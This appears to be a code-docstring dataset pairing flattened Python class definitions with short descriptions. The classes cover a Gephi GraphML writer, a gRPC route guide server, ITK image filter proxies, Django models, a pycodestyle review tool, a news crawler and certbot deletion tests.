Quick Upload Widget via drag&drop. Custom properties: mediaupload -- Allowed file extensions e.g.: '*.gif; *.tif; *.jpg', empty for all. Default: '*.txt; *.csv; *.tsv; *.tab'
6259908855399d3f056280c3
class GephiGraphMLWriter(GraphMLWriter): <NEW_LINE> <INDENT> def get_key(self, name, attr_type, scope, default): <NEW_LINE> <INDENT> keys_key = (name, attr_type, scope) <NEW_LINE> try: <NEW_LINE> <INDENT> return self.keys[keys_key] <NEW_LINE> <DEDENT> except KeyError: <NEW_LINE> <INDENT> if name in NAMED_ATTR: <NEW_LINE> <INDENT> new_id = name <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> new_id = "d%i" % len(list(self.keys)) <NEW_LINE> <DEDENT> self.keys[keys_key] = new_id <NEW_LINE> key_kwargs = { "id": new_id, "for": scope, "attr.name": name, "attr.type": attr_type, } <NEW_LINE> key_element = self.myElement("key", **key_kwargs) <NEW_LINE> if default is not None: <NEW_LINE> <INDENT> default_element = self.myElement("default") <NEW_LINE> default_element.text = make_str(default) <NEW_LINE> key_element.append(default_element) <NEW_LINE> <DEDENT> self.xml.insert(0, key_element) <NEW_LINE> <DEDENT> return new_id
Customized GraphML writer for gephi compatibility
62599088091ae356687067f1
class RouteGuideServicer(route_guide_pb2_grpc.RouteGuideServicer): <NEW_LINE> <INDENT> routes = [] <NEW_LINE> def __init__(self): <NEW_LINE> <INDENT> self.db = route_guide_resources.read_route_guide_database() <NEW_LINE> <DEDENT> def GetFeature(self, request, context): <NEW_LINE> <INDENT> feature = get_feature(self.db, request) <NEW_LINE> if feature is None: <NEW_LINE> <INDENT> return route_guide_pb2.Feature(name="", location=request) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return feature <NEW_LINE> <DEDENT> <DEDENT> def ListFeatures(self, request, context): <NEW_LINE> <INDENT> left = min(request.lo.longitude, request.hi.longitude) <NEW_LINE> right = max(request.lo.longitude, request.hi.longitude) <NEW_LINE> top = max(request.lo.latitude, request.hi.latitude) <NEW_LINE> bottom = min(request.lo.latitude, request.hi.latitude) <NEW_LINE> for feature in self.db: <NEW_LINE> <INDENT> if (feature.location.longitude >= left and feature.location.longitude <= right and feature.location.latitude >= bottom and feature.location.latitude <= top): <NEW_LINE> <INDENT> yield feature <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def RecordRoute(self, request_iterator, context): <NEW_LINE> <INDENT> point_count = 0 <NEW_LINE> feature_count = 0 <NEW_LINE> distance = 0.0 <NEW_LINE> prev_point = None <NEW_LINE> route_info = [] <NEW_LINE> start_time = time.time() <NEW_LINE> for point in request_iterator: <NEW_LINE> <INDENT> route_info.append(point) <NEW_LINE> point_count += 1 <NEW_LINE> if get_feature(self.db, point): <NEW_LINE> <INDENT> feature_count += 1 <NEW_LINE> <DEDENT> if prev_point: <NEW_LINE> <INDENT> distance += get_distance(prev_point, point) <NEW_LINE> <DEDENT> prev_point = point <NEW_LINE> <DEDENT> route_id = len(RouteGuideServicer.routes) <NEW_LINE> RouteGuideServicer.routes.append(route_info) <NEW_LINE> print ("Route {} added!".format(route_id)) <NEW_LINE> elapsed_time = time.time() - start_time <NEW_LINE> return route_guide_pb2.RouteSummary(point_count=point_count, feature_count=feature_count, distance=int(distance), elapsed_time=int(elapsed_time), route_id=route_id) <NEW_LINE> <DEDENT> def RouteChat(self, request_iterator, context): <NEW_LINE> <INDENT> prev_notes = [] <NEW_LINE> for new_note in request_iterator: <NEW_LINE> <INDENT> for prev_note in prev_notes: <NEW_LINE> <INDENT> if prev_note.location == new_note.location: <NEW_LINE> <INDENT> yield prev_note <NEW_LINE> <DEDENT> <DEDENT> prev_notes.append(new_note)
Provides methods that implement functionality of route guide server.
62599088a8370b77170f1f7b
class itkHausdorffDistanceImageFilterIF2IF2(itkImageToImageFilterAPython.itkImageToImageFilterIF2IF2): <NEW_LINE> <INDENT> thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') <NEW_LINE> def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") <NEW_LINE> __repr__ = _swig_repr <NEW_LINE> ImageDimension = _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_ImageDimension <NEW_LINE> Input1HasNumericTraitsCheck = _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_Input1HasNumericTraitsCheck <NEW_LINE> def __New_orig__(): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2___New_orig__() <NEW_LINE> <DEDENT> __New_orig__ = staticmethod(__New_orig__) <NEW_LINE> def SetInput1(self, *args): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_SetInput1(self, *args) <NEW_LINE> <DEDENT> def SetInput2(self, *args): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_SetInput2(self, *args) <NEW_LINE> <DEDENT> def GetInput1(self): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_GetInput1(self) <NEW_LINE> <DEDENT> def GetInput2(self): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_GetInput2(self) <NEW_LINE> <DEDENT> def GetHausdorffDistance(self): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_GetHausdorffDistance(self) <NEW_LINE> <DEDENT> def GetAverageHausdorffDistance(self): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_GetAverageHausdorffDistance(self) <NEW_LINE> <DEDENT> __swig_destroy__ = _itkHausdorffDistanceImageFilterPython.delete_itkHausdorffDistanceImageFilterIF2IF2 <NEW_LINE> def cast(*args): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_cast(*args) <NEW_LINE> <DEDENT> cast = staticmethod(cast) <NEW_LINE> def GetPointer(self): <NEW_LINE> <INDENT> return _itkHausdorffDistanceImageFilterPython.itkHausdorffDistanceImageFilterIF2IF2_GetPointer(self) <NEW_LINE> <DEDENT> def New(*args, **kargs): <NEW_LINE> <INDENT> obj = itkHausdorffDistanceImageFilterIF2IF2.__New_orig__() <NEW_LINE> import itkTemplate <NEW_LINE> itkTemplate.New(obj, *args, **kargs) <NEW_LINE> return obj <NEW_LINE> <DEDENT> New = staticmethod(New)
Proxy of C++ itkHausdorffDistanceImageFilterIF2IF2 class
62599088a05bb46b3848befe
class BadReturn(Exception): <NEW_LINE> <INDENT> pass
Bad return from subprocess.
625990887047854f46340f65
class TxCoat(Coat): <NEW_LINE> <INDENT> def pack(self): <NEW_LINE> <INDENT> self.packed = '' <NEW_LINE> ck = self.packet.data['ck'] <NEW_LINE> if ck == raeting.coatKinds.nacl: <NEW_LINE> <INDENT> msg = self.packet.body.packed <NEW_LINE> if msg: <NEW_LINE> <INDENT> cipher, nonce = self.packet.encrypt(msg) <NEW_LINE> self.packed = "".join([cipher, nonce]) <NEW_LINE> <DEDENT> <DEDENT> if ck == raeting.coatKinds.nada: <NEW_LINE> <INDENT> self.packed = self.packet.body.packed
RAET protocol tx packet coat class
625990888a349b6b43687e0e
class StatusMixin: <NEW_LINE> <INDENT> id = sa.Column(sa.Integer, primary_key=True) <NEW_LINE> status = sa.Column(sa.String(40), nullable=False) <NEW_LINE> timestamp = sa.Column(sa.DateTime, nullable=False, default=datetime.datetime.utcnow) <NEW_LINE> comment = sa.Column(sa.Text) <NEW_LINE> @declared_attr <NEW_LINE> def record_id(cls): <NEW_LINE> <INDENT> return sa.Column('record_id', sa.Integer, sa.ForeignKey(cls.__stateful_args__['relation'].id), nullable=False) <NEW_LINE> <DEDENT> @declared_attr <NEW_LINE> def record(cls): <NEW_LINE> <INDENT> return relationship( cls.__stateful_args__['relation'], backref=backref('statuses', order_by=lambda: cls.timestamp.desc()) ) <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def __declare_last__(cls): <NEW_LINE> <INDENT> relation = cls.__stateful_args__['relation'] <NEW_LINE> current_status = aliased( sa.select([cls.id.label('status_id'), relation.id.label('rel')]) .where(cls.record_id == relation.id) .order_by(cls.timestamp.desc()) .limit(1) ) <NEW_LINE> relation.status = relationship( cls, primaryjoin=current_status.c.rel == relation.id, secondaryjoin=current_status.c.status_id == cls.id, secondary=current_status, uselist=False, viewonly=True, ) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return '{}({:%Y-%m-%d %H:%M}, {!r})'.format( self.__class__.__name__, self.timestamp, self.status)
Generic mixin to create status relations for stateful records.
625990884a966d76dd5f0a96
class WebhookFlowHandler(config_entries.ConfigFlow): <NEW_LINE> <INDENT> VERSION = 1 <NEW_LINE> def __init__( self, domain: str, title: str, description_placeholder: dict, allow_multiple: bool, ) -> None: <NEW_LINE> <INDENT> self._domain = domain <NEW_LINE> self._title = title <NEW_LINE> self._description_placeholder = description_placeholder <NEW_LINE> self._allow_multiple = allow_multiple <NEW_LINE> <DEDENT> async def async_step_user(self, user_input=None): <NEW_LINE> <INDENT> if not self._allow_multiple and self._async_current_entries(): <NEW_LINE> <INDENT> return self.async_abort(reason="one_instance_allowed") <NEW_LINE> <DEDENT> if user_input is None: <NEW_LINE> <INDENT> return self.async_show_form(step_id="user") <NEW_LINE> <DEDENT> webhook_id = self.hass.components.webhook.async_generate_id() <NEW_LINE> if ( "cloud" in self.hass.config.components and self.hass.components.cloud.async_active_subscription() ): <NEW_LINE> <INDENT> webhook_url = await self.hass.components.cloud.async_create_cloudhook( webhook_id ) <NEW_LINE> cloudhook = True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> webhook_url = self.hass.components.webhook.async_generate_url(webhook_id) <NEW_LINE> cloudhook = False <NEW_LINE> <DEDENT> self._description_placeholder["webhook_url"] = webhook_url <NEW_LINE> return self.async_create_entry( title=self._title, data={"webhook_id": webhook_id, "cloudhook": cloudhook}, description_placeholders=self._description_placeholder, )
Handle a webhook config flow.
625990883317a56b869bf31c
class TestHdfsInotifySettings(unittest.TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def tearDown(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def testHdfsInotifySettings(self): <NEW_LINE> <INDENT> pass
HdfsInotifySettings unit test stubs
6259908897e22403b383caa7
class Ingredient(models.Model): <NEW_LINE> <INDENT> name = models.CharField(max_length=255) <NEW_LINE> user = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) <NEW_LINE> def __str__(self): <NEW_LINE> <INDENT> return self.name
Ingredient to be userd in a recipe
62599088a05bb46b3848beff
class CIDARProduct(modules.Product): <NEW_LINE> <INDENT> cutter = BbsI
A CIDAR MoClo product.
62599088099cdd3c636761d3
class DeleteRecordingInputSet(InputSet): <NEW_LINE> <INDENT> def set_AccountSID(self, value): <NEW_LINE> <INDENT> InputSet._set_input(self, 'AccountSID', value) <NEW_LINE> <DEDENT> def set_AuthToken(self, value): <NEW_LINE> <INDENT> InputSet._set_input(self, 'AuthToken', value) <NEW_LINE> <DEDENT> def set_RecordingSID(self, value): <NEW_LINE> <INDENT> InputSet._set_input(self, 'RecordingSID', value) <NEW_LINE> <DEDENT> def set_ResponseFormat(self, value): <NEW_LINE> <INDENT> InputSet._set_input(self, 'ResponseFormat', value) <NEW_LINE> <DEDENT> def set_SubAccountSID(self, value): <NEW_LINE> <INDENT> InputSet._set_input(self, 'SubAccountSID', value)
An InputSet with methods appropriate for specifying the inputs to the DeleteRecording Choreo. The InputSet object is used to specify input parameters when executing this Choreo.
62599088aad79263cf43036c
class GameScoreboard(object): <NEW_LINE> <INDENT> def __init__(self, data): <NEW_LINE> <INDENT> for x in data: <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> setattr(self, x, int(data[x])) <NEW_LINE> <DEDENT> except ValueError: <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> setattr(self, x, float(data[x])) <NEW_LINE> <DEDENT> except ValueError: <NEW_LINE> <INDENT> setattr(self, x, str(data[x])) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> if self.home_team_runs > self.away_team_runs: <NEW_LINE> <INDENT> self.w_team = self.home_team <NEW_LINE> self.l_team = self.away_team <NEW_LINE> <DEDENT> elif self.away_team_runs > self.home_team_runs: <NEW_LINE> <INDENT> self.w_team = self.away_team <NEW_LINE> self.l_team = self.home_team <NEW_LINE> <DEDENT> year, month, day = self.game_id.split('_')[:3] <NEW_LINE> game_start_date = "/".join([year, month, day]) <NEW_LINE> game_start_time = self.game_start_time.replace(' ', '') <NEW_LINE> self.date = datetime.datetime.strptime( " ".join([game_start_date, game_start_time]), "%Y/%m/%d %I:%M%p") <NEW_LINE> <DEDENT> def nice_score(self): <NEW_LINE> <INDENT> return ('{0.away_team} ({0.away_team_runs}) at ' '{0.home_team} ({0.home_team_runs})').format(self) <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return self.nice_score()
Object to hold scoreboard information about a certain game. Properties: away_team away_team_errors away_team_hits away_team_runs date game_id game_league game_start_time game_status game_tag home_team home_team_errors home_team_hits home_team_runs l_pitcher l_pitcher_losses l_pitcher_wins l_team sv_pitcher sv_pitcher_saves w_pitcher w_pitcher_losses w_pitcher_wins w_team
625990888a349b6b43687e10
class GroupsRenameRequest(ChannelsRenameRequest): <NEW_LINE> <INDENT> pass
Request for :meth:`~aioslackbot.GroupsModule.rename`.
625990887cff6e4e811b75f5
class WqmAuthority(WqmLocation): <NEW_LINE> <INDENT> domain = models.OneToOneField('domain.Domain', unique=True) <NEW_LINE> dialing_code = models.CharField(max_length=5) <NEW_LINE> gmt_offset = models.IntegerField(default=0) <NEW_LINE> def __unicode__(self): <NEW_LINE> <INDENT> return self.domain.name
E.g. a district
6259908871ff763f4b5e9360
class WeightedIntegerVectors_all(DisjointUnionEnumeratedSets): <NEW_LINE> <INDENT> def __init__(self, weights): <NEW_LINE> <INDENT> self._weights = weights <NEW_LINE> from sage.sets.all import Family, NonNegativeIntegers <NEW_LINE> from functools import partial <NEW_LINE> F = Family(NonNegativeIntegers(), partial(WeightedIntegerVectors, weight = weights)) <NEW_LINE> DisjointUnionEnumeratedSets.__init__(self, F, facade=True, keepkey=False, category = (SetsWithGrading(), InfiniteEnumeratedSets())) <NEW_LINE> <DEDENT> def _repr_(self): <NEW_LINE> <INDENT> return "Integer vectors weighted by %s"%list(self._weights) <NEW_LINE> <DEDENT> def __contains__(self, x): <NEW_LINE> <INDENT> return isinstance(x, (builtinlist, Permutation_class)) and len(x) == len(self._weights) and all(isinstance(i, (int, Integer)) and i>=0 for i in x) <NEW_LINE> <DEDENT> def subset(self, size = None): <NEW_LINE> <INDENT> if size is None: <NEW_LINE> <INDENT> return self <NEW_LINE> <DEDENT> return self._family[size] <NEW_LINE> <DEDENT> def grading(self, x): <NEW_LINE> <INDENT> return sum([exp*deg for exp,deg in zip(x, self._weights)])
Set of weighted integer vectors. EXAMPLES:: sage: W = WeightedIntegerVectors([3,1,1,2,1]); W Integer vectors weighted by [3, 1, 1, 2, 1] sage: W.cardinality() +Infinity sage: W12 = W.graded_component(12) sage: W12.an_element() [4, 0, 0, 0, 0] sage: W12.last() [0, 12, 0, 0, 0] sage: W12.cardinality() 441 sage: for w in W12: print w [4, 0, 0, 0, 0] [3, 0, 0, 1, 1] [3, 0, 1, 1, 0] ... [0, 11, 1, 0, 0] [0, 12, 0, 0, 0]
625990885fc7496912d49044
class VirtualMachineScaleSetManagedDiskParameters(Model): <NEW_LINE> <INDENT> _attribute_map = { 'storage_account_type': {'key': 'storageAccountType', 'type': 'StorageAccountTypes'}, } <NEW_LINE> def __init__(self, storage_account_type=None): <NEW_LINE> <INDENT> super(VirtualMachineScaleSetManagedDiskParameters, self).__init__() <NEW_LINE> self.storage_account_type = storage_account_type
Describes the parameters of a ScaleSet managed disk. :param storage_account_type: Specifies the storage account type for the managed disk. Possible values are: Standard_LRS or Premium_LRS. Possible values include: 'Standard_LRS', 'Premium_LRS' :type storage_account_type: str or ~azure.mgmt.compute.v2017_12_01.models.StorageAccountTypes
625990887b180e01f3e49e3e
class PycodestyleTool(BaseTool): <NEW_LINE> <INDENT> name = 'pycodestyle' <NEW_LINE> version = '1.0' <NEW_LINE> description = 'Checks Python code for style errors.' <NEW_LINE> timeout = 30 <NEW_LINE> exe_dependencies = ['pycodestyle'] <NEW_LINE> file_patterns = ['*.py'] <NEW_LINE> options = [ { 'name': 'max_line_length', 'field_type': 'django.forms.IntegerField', 'default': 79, 'field_options': { 'label': 'Maximum Line Length', 'help_text': 'The maximum line length to allow.', 'required': True, }, }, { 'name': 'ignore', 'field_type': 'django.forms.CharField', 'default': '', 'field_options': { 'label': 'Ignore', 'help_text': ('A comma-separated list of errors and warnings ' 'to ignore. This will be passed to the --ignore ' 'command line argument (e.g. E4,W).'), 'required': False, }, }, ] <NEW_LINE> def build_base_command(self, **kwargs): <NEW_LINE> <INDENT> settings = self.settings <NEW_LINE> ignore = settings.get('ignore', '').strip() <NEW_LINE> cmd = [ config['exe_paths']['pycodestyle'], '--max-line-length=%s' % settings['max_line_length'], '--format=%(code)s:%(row)d:%(col)d:%(text)s', ] <NEW_LINE> if ignore: <NEW_LINE> <INDENT> cmd.append('--ignore=%s' % ignore) <NEW_LINE> <DEDENT> return cmd <NEW_LINE> <DEDENT> def handle_file(self, f, path, base_command, **kwargs): <NEW_LINE> <INDENT> output = execute(base_command + [path], split_lines=True, ignore_errors=True) <NEW_LINE> for line in output: <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> error_code, line_num, column, message = line.split(':', 3) <NEW_LINE> line_num = int(line_num) <NEW_LINE> column = int(column) <NEW_LINE> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> self.logger.error('Cannot parse pycodestyle line "%s": %s', line, e) <NEW_LINE> continue <NEW_LINE> <DEDENT> f.comment(text=message.strip(), first_line=line_num, start_column=column, error_code=error_code)
Review Bot tool to run pycodestyle.
625990883346ee7daa33843c
class PrimaryKey(Property): <NEW_LINE> <INDENT> def __init__(self, transform=None, name='id', attr_name=None): <NEW_LINE> <INDENT> super(PrimaryKey, self).__init__(name=name, attr_name=attr_name) <NEW_LINE> self.transform = transform or transform_for('string')
Represents an identifier of a resource.
62599088656771135c48ae0a
class Category(models.Model): <NEW_LINE> <INDENT> name = models.CharField('类型', max_length=20) <NEW_LINE> created_time = models.DateTimeField('创建时间', auto_now_add=True) <NEW_LINE> last_modified_time = models.DateTimeField('修改时间', auto_now=True) <NEW_LINE> def __str__(self): <NEW_LINE> <INDENT> return self.name
文章类型
6259908892d797404e389936
class DjrillApiMixin(object): <NEW_LINE> <INDENT> def __init__(self, *args, **kwargs): <NEW_LINE> <INDENT> self.api_key = getattr(settings, "MANDRILL_API_KEY", None) <NEW_LINE> self.api_url = getattr(settings, "MANDRILL_API_URL", None) <NEW_LINE> if not self.api_key: <NEW_LINE> <INDENT> raise ImproperlyConfigured("You have not set your mandrill api key " "in the settings file.") <NEW_LINE> <DEDENT> if not self.api_url: <NEW_LINE> <INDENT> raise ImproperlyConfigured("You have not added the Mandrill api " "url to your settings.py") <NEW_LINE> <DEDENT> <DEDENT> def get_context_data(self, **kwargs): <NEW_LINE> <INDENT> kwargs = super(DjrillApiMixin, self).get_context_data(**kwargs) <NEW_LINE> status = False <NEW_LINE> req = requests.post("%s/%s" % (self.api_url, "users/ping.json"), data={"key": self.api_key}) <NEW_LINE> if req.status_code == 200: <NEW_LINE> <INDENT> status = True <NEW_LINE> <DEDENT> kwargs.update({"status": status}) <NEW_LINE> return kwargs
Simple Mixin to grab the api info from the settings file.
625990883617ad0b5ee07d05
class RemoteUserPolicy(IdentityBasedPolicy): <NEW_LINE> <INDENT> def identity(self, request): <NEW_LINE> <INDENT> user_id = request.environ.get("HTTP_X_FORWARDED_USER") <NEW_LINE> if not user_id: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> user = request.find_service(name="user").fetch(user_id) <NEW_LINE> if user is None: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> return Identity.from_models(user=user)
An authentication policy which blindly trusts a header. This is enabled by setting `h.proxy_auth` in the config as described in `h.security`.
6259908826068e7796d4e4f6
class Rectangle: <NEW_LINE> <INDENT> pass
function that create empty class
62599088a8370b77170f1f81
class Crawler(): <NEW_LINE> <INDENT> def __init__(self, que, visited, news, rlock): <NEW_LINE> <INDENT> self.que = que <NEW_LINE> self.visited = visited <NEW_LINE> self.rlock = rlock <NEW_LINE> self.news = news <NEW_LINE> <DEDENT> def get_re_string(self): <NEW_LINE> <INDENT> date_string = time.strftime("/%y/%m%d/") <NEW_LINE> re_string = 'http://news.163.com' + date_string + '\d{2}/\w{16}.html' <NEW_LINE> return re_string <NEW_LINE> <DEDENT> def is_crawl_url(self, url): <NEW_LINE> <INDENT> if url is None: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return url.startswith('http://news.163.com/') <NEW_LINE> <DEDENT> def is_news_url(self, url): <NEW_LINE> <INDENT> p = re.compile(self.get_re_string()) <NEW_LINE> match = p.match(url) <NEW_LINE> if match: <NEW_LINE> <INDENT> news_url = match.group(0) <NEW_LINE> return news_url <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> <DEDENT> def crawl(self): <NEW_LINE> <INDENT> url = self.que.get() <NEW_LINE> if url not in self.visited: <NEW_LINE> <INDENT> if self.rlock.acquire(): <NEW_LINE> <INDENT> self.visited.add(url) <NEW_LINE> self.rlock.release() <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> req = urllib.request.Request(url, headers={ 'Connection': 'Keep-Alive', 'Accept': 'text/html, application/xhtml+xml, */*', 'Accept-Language': 'en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko' }) <NEW_LINE> html = urllib.request.urlopen(req, timeout=30).read().decode('gbk') <NEW_LINE> if html: <NEW_LINE> <INDENT> soup = BeautifulSoup(html, 'lxml') <NEW_LINE> if self.is_news_url(url): <NEW_LINE> <INDENT> print(url) <NEW_LINE> if url not in self.news: <NEW_LINE> <INDENT> news = News(soup, url) <NEW_LINE> lenth = len(news.content) <NEW_LINE> if lenth > 0: <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> news.add() <NEW_LINE> if self.rlock.acquire(): <NEW_LINE> <INDENT> self.news.add(url) <NEW_LINE> self.rlock.release() <NEW_LINE> <DEDENT> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> raise e <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> print(url + ' is exist') <NEW_LINE> <DEDENT> <DEDENT> links = soup.find_all('a') <NEW_LINE> for link in links: <NEW_LINE> <INDENT> link_url = link.get('href') <NEW_LINE> if self.is_crawl_url(link_url): <NEW_LINE> <INDENT> if not self.is_news_url(link_url): <NEW_LINE> <INDENT> self.que.put(link_url) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.que.put(self.is_news_url(link_url)) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> if self.is_news_url(url): <NEW_LINE> <INDENT> print('err:' + url) <NEW_LINE> print('exception:' + str(e))
the Crawler
62599088283ffb24f3cf5455
class Term(object): <NEW_LINE> <INDENT> def __init__(self, *, a=0, b=0, c=0, output_queue=""): <NEW_LINE> <INDENT> self.a = a <NEW_LINE> self.b = b <NEW_LINE> self.c = c <NEW_LINE> self.output_queue = output_queue <NEW_LINE> <DEDENT> def calculate(self, x): <NEW_LINE> <INDENT> return self.a * x ** 2 + self.b * x + self.c <NEW_LINE> <DEDENT> def on_request_callback(self, ch, method, props, body): <NEW_LINE> <INDENT> value = int(body) <NEW_LINE> me = str(self) <NEW_LINE> print("<= {} {}".format(me, value)) <NEW_LINE> term = self.calculate(value) <NEW_LINE> print(" => {} {}".format(me, term)) <NEW_LINE> ch.basic_publish(exchange='numbers', routing_key=self.output_queue, properties=pika.BasicProperties(correlation_id=props.correlation_id), body=str(term)) <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> s = [] <NEW_LINE> if self.a != 0: <NEW_LINE> <INDENT> s.append("{}x^2".format(self.a)) <NEW_LINE> <DEDENT> if self.b != 0: <NEW_LINE> <INDENT> s.append("{}x".format(self.b)) <NEW_LINE> <DEDENT> if self.c != 0: <NEW_LINE> <INDENT> s.append("{}".format(self.c)) <NEW_LINE> <DEDENT> return "+".join(s)
The actual calculation
62599088adb09d7d5dc0c10f
class Downloader: <NEW_LINE> <INDENT> def _download_file(self, url: str, filename: str) -> None: <NEW_LINE> <INDENT> with requests.get(url, stream=True) as response: <NEW_LINE> <INDENT> response.raise_for_status() <NEW_LINE> with open(filename, "wb") as json_file: <NEW_LINE> <INDENT> for chunk in response.iter_content(chunk_size=1024000): <NEW_LINE> <INDENT> json_file.write(chunk) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> def download_scryfall_cards(self) -> bool: <NEW_LINE> <INDENT> response = requests.get(constants.SCRYFALL_BULK_URL) <NEW_LINE> cards = json.loads(response.text) <NEW_LINE> download_url = list(filter(lambda d: d["type"] == "all_cards", cards["data"]))[ 0 ]["download_uri"] <NEW_LINE> try: <NEW_LINE> <INDENT> self._download_file( download_url, os.path.join(constants.ROOT_DIR, constants.SCRYFALL_CARDS_JSON_PATH), ) <NEW_LINE> return True <NEW_LINE> <DEDENT> except Exception: <NEW_LINE> <INDENT> return False
Download files needed for this application to run properly.
625990885fdd1c0f98e5fb2f
class ItemDetail(APIView): <NEW_LINE> <INDENT> authentication_classes = (BasicAuthentication,) <NEW_LINE> permission_classes = (IsAuthenticated,) <NEW_LINE> parser_classes = (JSONParser,) <NEW_LINE> def get_object(self, pk): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> return Item.objects.get(pk=pk) <NEW_LINE> <DEDENT> except Item.DoesNotExist: <NEW_LINE> <INDENT> raise Http404 <NEW_LINE> <DEDENT> <DEDENT> def get(self, request, pk, format=None): <NEW_LINE> <INDENT> item = self.get_object(pk) <NEW_LINE> serializer = ItemSerializer(item) <NEW_LINE> return Response(serializer.data) <NEW_LINE> <DEDENT> def post(self, request, pk, format=None): <NEW_LINE> <INDENT> item = self.get_object(pk) <NEW_LINE> serializer = ItemSerializer(item, data=request.data) <NEW_LINE> if serializer.is_valid(): <NEW_LINE> <INDENT> serializer.save() <NEW_LINE> return Response(serializer.data) <NEW_LINE> <DEDENT> return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) <NEW_LINE> <DEDENT> def delete(self, request, pk, format=None): <NEW_LINE> <INDENT> item = self.get_object(pk) <NEW_LINE> item.delete() <NEW_LINE> return Response(status=status.HTTP_204_NO_CONTENT)
Retrieve, update or delete a item instance.
625990884c3428357761be71
class DeleteTest(storage_test.BaseRenewableCertTest): <NEW_LINE> <INDENT> def _call(self): <NEW_LINE> <INDENT> from certbot._internal import cert_manager <NEW_LINE> cert_manager.delete(self.config) <NEW_LINE> <DEDENT> @test_util.patch_get_utility() <NEW_LINE> @mock.patch('certbot._internal.cert_manager.lineage_for_certname') <NEW_LINE> @mock.patch('certbot._internal.storage.delete_files') <NEW_LINE> def test_delete_from_config(self, mock_delete_files, mock_lineage_for_certname, unused_get_utility): <NEW_LINE> <INDENT> mock_lineage_for_certname.return_value = self.test_rc <NEW_LINE> self.config.certname = "example.org" <NEW_LINE> self._call() <NEW_LINE> mock_delete_files.assert_called_once_with(self.config, "example.org") <NEW_LINE> <DEDENT> @test_util.patch_get_utility() <NEW_LINE> @mock.patch('certbot._internal.cert_manager.lineage_for_certname') <NEW_LINE> @mock.patch('certbot._internal.storage.delete_files') <NEW_LINE> def test_delete_interactive_single(self, mock_delete_files, mock_lineage_for_certname, mock_util): <NEW_LINE> <INDENT> mock_lineage_for_certname.return_value = self.test_rc <NEW_LINE> mock_util().checklist.return_value = (display_util.OK, ["example.org"]) <NEW_LINE> self._call() <NEW_LINE> mock_delete_files.assert_called_once_with(self.config, "example.org") <NEW_LINE> <DEDENT> @test_util.patch_get_utility() <NEW_LINE> @mock.patch('certbot._internal.cert_manager.lineage_for_certname') <NEW_LINE> @mock.patch('certbot._internal.storage.delete_files') <NEW_LINE> def test_delete_interactive_multiple(self, mock_delete_files, mock_lineage_for_certname, mock_util): <NEW_LINE> <INDENT> mock_lineage_for_certname.return_value = self.test_rc <NEW_LINE> mock_util().checklist.return_value = (display_util.OK, ["example.org", "other.org"]) <NEW_LINE> self._call() <NEW_LINE> mock_delete_files.assert_any_call(self.config, "example.org") <NEW_LINE> mock_delete_files.assert_any_call(self.config, "other.org") <NEW_LINE> self.assertEqual(mock_delete_files.call_count, 2)
Tests for certbot._internal.cert_manager.delete
6259908863b5f9789fe86d1f
